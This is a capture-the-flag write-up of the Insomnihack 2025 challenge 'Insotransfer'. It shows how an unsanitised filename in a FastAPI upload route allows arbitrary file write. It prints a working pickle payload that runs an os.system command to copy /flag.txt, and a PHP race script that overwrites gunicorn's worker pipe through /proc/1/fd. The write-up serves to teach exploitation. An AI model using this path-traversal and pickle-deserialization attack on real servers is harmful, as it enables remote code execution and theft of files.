title: Insomnihack 2025 Finals - Insotransfer
date: Mar 18, 2025
tags: writeups insomnihack
Didn't save the description, sorry ¯_(ツ)_/¯
3/115
This challenge was flagged with platists from TheFlagNetworkSociety :
Note that we didn't solve the challenge as expected by the author; normally, we should have exploited it a bit like what was shown on NodeJS by Stefan Schiller @HEXACON24.
This challenge expose three simple routes :
The flag is located at /flag.txt
meaning that we must gain arbitrary file read or RCE in order to get it.
The download route is safe :
@app.get("/download/{uuid_val}")
def view(uuid_val):
try:
u = str(uuid.UUID(uuid_val, version=4))
d = os.path.join(UPLOAD_DIR, u)
except:
raise HTTPException(status_code=500, detail="Supplied value is not a valid UUID")
if not os.path.isdir(os.path.join(UPLOAD_DIR, u)):
raise HTTPException(status_code=404, detail="UUID not found")
try:
filename = os.listdir(d)[0]
return FileResponse(os.path.join(d, filename))
except:
raise HTTPException(status_code=500, detail="Something went wrong")
However, the upload route is vulnerable to arbitrary file write :
@app.post("/upload")
def upload(file: UploadFile):
try:
contents = file.file.read()
uuid_val = str(uuid.uuid4())
folder = os.path.join(UPLOAD_DIR, uuid_val)
os.mkdir(folder)
file_path = os.path.join(folder, file.filename)
with open(file_path, "wb") as f:
f.write(contents)
return {"uuid": f"{uuid_val}"}
except:
raise HTTPException(status_code=500, detail="Something went wrong")
In fact, the application is using the given filename without any sanitization in the os.path.join
function which acts in certain case in an exploitable way:
$ python3
>>> from os.path import join
>>> from os.path import join
>>> print(join("/home/worty","/etc/passwd"))
/etc/passwd
Therefore it's possible to overwrite any files in the docker environement, but taking a closer look at the docker-compose file reveals that it's a read-only docker :
name: insotransfer
services:
app:
build: .
read_only: true
tmpfs:
- /upload/
- /tmp/
restart: always
nginx:
image: nginx:latest
ports:
- "8000:80"
volumes:
- ./nginx/default.conf:/etc/nginx/conf.d/default.conf:z
depends_on:
- app
restart: always
The only writable folders (or file descriptors) are :
I deliberately omitted part of the code at the beginning of the file, in fact, the application is acting weirdly, the following middleware is executed for every HTTP request received :
@app.middleware("http")
async def renew_worker(request: Request, call_next):
response = await call_next(request)
os.kill(os.getpid(), signal.SIGTERM)
return response
The application is killing the worker that was responsible for handling the user's request, after that, gunicorn (behind fastapi) will start a new worker. Using strace
on the parent PID shows us what's exactly happening at this time:
$ strace -ff -p 20985 2>&1 -e trace=pipe2,write
[...]
write(2, " INFO Waiting for child p"..., 45) = 45
write(2, " INFO Child process [133]"..., 38) = 38
[...]
pipe2([205, 209], O_CLOEXEC) = 0
[...]
[pid 20985] write(209, "\200\4\225\25\2\0\0\0\0\0\0}\224(\214\rlog_to_stderr\224\211\214"..., 3068) = 3068
There are two things to note here:
\200\4\225
(which is 0x800495), corresponding to a pickle stream. This pickle stream will then be loaded by the child and executed.As we saw earlier, the application is vulnerable to arbitrary file write, and there's nothing to stop us writing to /proc/1/fd/205. The attack plan is therefore as follows:
For that, we craft the pickle payload using the following script :
import pickle
import os
import struct
class Pwn:
def __reduce__(self):
return (os.system, ("mkdir /upload/a787360f-fb9a-488e-b08b-30bff2887445/; cp /flag.txt /upload/a787360f-fb9a-488e-b08b-30bff2887445/",))
payload = pickle.dumps(Pwn(), protocol=4)
with open("payload", "wb") as f:
f.write(payload)
f.write(b"\n")
Then, we use the following script (made by XeR, (of course it's PHP)) to win the race:
<?php
const URL = "https://insotransfer.insomnihack.ch/upload";
$curl = curl_init(URL);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$fd = 205;
while(true) {
curl_setopt($curl, CURLOPT_POSTFIELDS, [
"file" => new CURLFile("payload", "image/png", "/proc/1/fd/$fd"),
]);
$ret = curl_exec($curl);
printf("%d\t%s\n", $fd, $ret);
if(str_contains($ret, "uuid") || str_contains($ret, "Something"))
$fd++;
if($fd > 210)
$fd = 105;
}
PoC of the vulnerability
INS{But_1t_W4s_just_a_P1p3!}